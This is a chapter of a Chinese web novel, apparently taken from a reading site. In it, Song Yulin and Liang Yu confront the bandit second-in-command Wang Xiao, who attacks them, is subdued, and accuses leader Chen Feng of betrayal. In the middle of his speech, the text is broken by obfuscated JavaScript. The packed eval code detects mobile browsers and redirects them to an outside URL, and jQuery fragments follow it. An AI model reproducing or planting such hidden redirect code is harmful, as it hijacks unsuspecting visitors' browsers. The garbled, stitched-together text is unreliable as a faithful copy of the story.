宋玉霖傻眼了。
“我?”她有些不知所措,“你怕我误会?”
梁予没有回应,而是默默把宋玉霖放了下来。
宋玉霖继续追问:“你……怕我误会?”
梁予还是没说话,只是一个人默默坐到桌前,将茶水一饮而尽。
“……”
死木头,想说什么就说啊!
此时门外有人敲门:“大当家请两位娘子去前堂小聚。”
宋玉霖高声回应:“马上来!”
随后恶狠狠地看了眼梁予:“有本事一辈子不说话,哼。”
说完宋玉霖便想出门,却被梁予从后拽住。
“你,做什么?”
“我……我想问,你此行回去后,想做什么?”他说话结结巴巴的,似是紧张。
“我?”宋玉霖对这句不着头脑不知如何回应,只能模模糊糊搪塞过去,“做我该做的事呗,轮不到您老操心。”
“那肖远兴呢?你……打算怎么处理?”
“继续装傻呗,不然你有什么妙计?”
“嗯……”在得到不想听的答案之后,梁予才放手。
门口山匪催促:“我家大当家脾气可不好,两位娘子可得快些。”
“走吧,别磨磨唧唧的了。”宋玉霖开口道。
梁予不知如何再解释下去,只得不情不愿地跟着宋玉霖,还不忘将盖头盖了回去,若是别人看见他这副样子,以后就真的见不了人了。
一路上,宋玉霖只觉得有许多双眼睛盯着他们。
从山匪,到砍柴的学徒,最后甚至连烧饭的伙夫。
路过的狗都得看他们一眼。
这是怎么一回事?
宋玉霖从上到下看了自己一遍,没什么问题啊?这里的人究竟是怎么一回事?
直到看向梁予,才明白这些人为啥都看着自己这边了。
一个顶着盖头的新娘,体型壮硕不说,走路姿势也是非同一般的奔放!跨着步子向前迈,身上的红衣也随风飘动着,头面带得歪歪扭扭,把盖头都顶起来一块,不仅不像个新娘子,甚至都不太像人。
她气不打一出来,直接掐在了那梁予的腰上,低声说道:“你给我收敛一点。”
“哦。”
被说了一通,梁予这才收起大踏步往前迈的架势,随后转为小碎步。
可这更诡异了,一个高大男子迈着小步子,脚又藏在裙底,在别人眼里,仿佛就是飘在空中的。
周围人不禁生出寒意,一个个眼神引人深思。
宋玉霖也不例外,但她主要是觉得尴尬,只想快点到前厅。
前厅内——
陈风坐在第一把交椅上,眼神凌厉:“王骁,我问你,那对夫妻究竟是什么情况?你不是说他们是和胡人勾结的奸商吗?”
“当然是奸商,阿风,我抓回来的人我能不知道吗?”二当家王骁站在她面前,语气确是没一点心虚,“你宁愿相信那两个来历不明的人,都不信我是吗?”
“我当然信你,可他们说的话也不可能是空穴来风,我只是想听你跟我解释,你何必这样质问我?”
“阿风。”王骁走上前,拉住陈风的胳膊,突然跪了下来,眼神湿漉漉地看着她,带着委屈说道,“你答应过我,你会相信我的……可是你如此做,我真的很心寒……”
“身正不怕影子斜,你如果什么都没做,又何必在乎别人想什么?”陈风依旧不饶人,胳膊却让王骁抓着。
“那两个人是谁,你告诉我好吗?”
“你又想做什么?我对你忍耐的已经够多了,你还要坑害多少人!”
他们在里面争吵不休,宋玉霖和梁予在门外听得清清楚楚。
这么一来,他俩是什么关系就很显然了。
可陈风明明对那个书生情有独钟,又为何会与这二当家的纠缠在一起?不像她的性格啊。
她急着叫这两人来,估计是想当面对峙,那宋玉霖便遂了他们的愿。
宋玉霖推门而入,穿堂风掠过王骁的青丝,他猛地回头,眼神中是怨恨,仿佛在怪这推门而入的两人为何要搅乱他的生活。
宋玉霖先行开口,语气十分严肃:“我们是谁,你很想知道吗?”
王骁站起了身,拍了拍身上的灰,转过来直面宋玉霖,笑着说道:“很好奇啊,这两位奇女子究竟是谁?竟敢单枪匹马闯入这寨子,当真是勇气可嘉啊。”
“我们是谁与你何干?倒是那新婚夫妻二人,你究竟对他们做了什么?”宋玉霖冷着声向他逼近,手已经握住了匕首,就怕王骁狗急跳墙。
“我没对他们做什么,不过是借用一下他们的身体。”王骁状若发狂。
“什么意思?”宋玉霖对这没头没尾的话感到疑惑。
“字面意思。”此话一出,那王骁便直接向宋玉霖俯冲过来,手中匕首亮出,明显是奔着她致命处来的。
陈风猛地起身,却来不及制止。
宋玉霖向后撤步,可匕首的寒光此时已经到她跟前。
梁予拨开盖头,冲上前一把钳制住了他的双手,向后卸力,只听“咔哒”一声,手臂与躯干的连接处就被拽脱了臼。
王骁两条手臂在空中摇摆,眼神确是怨毒。
“原来是个男子,哈哈哈,当真是蓄谋已久。”
陈风连忙上前,扶住被吓得不轻的宋玉霖:“大人,你没事吧?”
宋玉霖摇了摇头,示意自己并无大碍。
梁予上前将王骁猛地一推,因双手脱臼,如此竟毫无还手之力,只得顺力向后仰去,一头栽在地上。
可就算如此,那癫狂的模样也是丝毫未改,头发凌乱,将半张脸都遮了起来,依旧狂笑不止。
不知沉静了多久,王骁才止住了笑意,缓缓开口:“阿风,你可还记得,当时在山下,你是如何讲那誓言的。”
陈风不假思索:“自然记得。”
“你说你无论如何,都要查清你父亲叛逃的真相,想要演一出戏,借此上山。我不答应,所以你发誓,无论发生什么,无论你以什么样的身份,都会和我一直在一起,都会信我、敬我,可如今呢?你说的这些还作数吗?你任由此人废我双臂,如此践踏我,你有心吗?陈风!我问你有没有心!
“你真当我不知道吗?你这段时间一直在调查我,这两人也是你找上门的吧!
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019353|193982||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为的就是将我弄死,你好与别人双宿双飞!”
陈风蹙眉:“调查你,是因为你私底下和胡人勾结,劫平民、贪官粮,我陈风除此以外从没有任何对不起你的地方,更没有想和别人双宿双飞,这一切……不过是你自己的臆想罢了。”
“臆想?你说我是臆想?哈哈哈哈哈,陈风,你真是好一套强词夺理啊。”
梁予听了半天,终于弄清楚了这状况。
这王骁,估计就是当年那与陈风两情相悦的书生,可如今,又为何沦落到这占山为王的地步?
“想必二位如今也很好奇,我们究竟为何走到如此地步。”王骁眼神依旧怨毒地看着宋玉霖他们,“好,那我便告诉你们。”
“王骁,你闭嘴!”陈风一声喝道。
“你不让我说,我偏要说。”王骁双膝磨蹭着地板,不顾双臂剧痛,挣扎着起身,“当年,你在婚前干了何事?你当我不知道吗!”
“那都是之前的事了,如今何故再提!”
“你说你为了找寻真相,不惜假扮舞娘只身入那胡人大营,夜夜笙歌、纵情声色。
“多少夜,你是与那胡人首领共处一室的?
“我在大营外,见多少胡人进进出出,可你呢?你在里面估计都将那些胡人伺候高兴了吧!”
“你休要胡说八道!那些时日,我与你解释了多少遍,我只是表演歌舞,窃听情报,根本就没有做那档子龌龊之事!”
“你做没做你自己清楚,入我家门前,都查过了,你根本不是完璧之身!”王骁几乎是狂吼出来的,“我不在乎你是不是,可你这么多年来,何时安抚过我?每次都搪塞过去,你若被冤枉了,为何不与我说!”
“王二当家的当真生性多疑,女子的清白,何时该有他人界定!”宋玉霖开口讽刺道。
陈风轻轻拨开宋玉霖,冷笑道:“完璧之身?就凭那些个土法子,就能界定一个女性的清白吗?
“我日夜习武,怎能界定出来?
“王骁,这么多年,你就为了这件事耿耿于怀,我倒想问你,你心悦的究竟是我!还是一个清白身子!”
“陈风,你长了好一张巧嘴。”
“明明是你长了好一张巧嘴!”
“你害的我好苦……阿风,你害的我好苦啊!”王骁眼里已没了神采。
陈风叹了口气,走上前,居高临下地看着他,伸出一只手,拨弄他的乱发:“王骁,我只最后一遍。
“我陈风,无愧于天地,无愧于父兄,更无愧于你。
“我所行之事,皆为心中正道。你的猜忌、你的龌龊,这一切,皆与我无关。”
她轻叹口气,冷声说道:“宋大人,盐塔寨二当家王骁,私自勾结胡人,劫掠商旅,残害百姓,证据确凿,请您依律办事。”
“我未尽监管职责,愿承担一切责任。”
梁予上前,将瘫倒在地的王骁绑了起来:“阿风,苦了你了。”
陈风扯出苦笑,瞥了一眼:“有何苦,不过是我咎由自取。
“宋大人,梁世子,我带你们去水牢罢,那里应该有你们想要的东西……”
“多谢。”宋玉霖轻声道。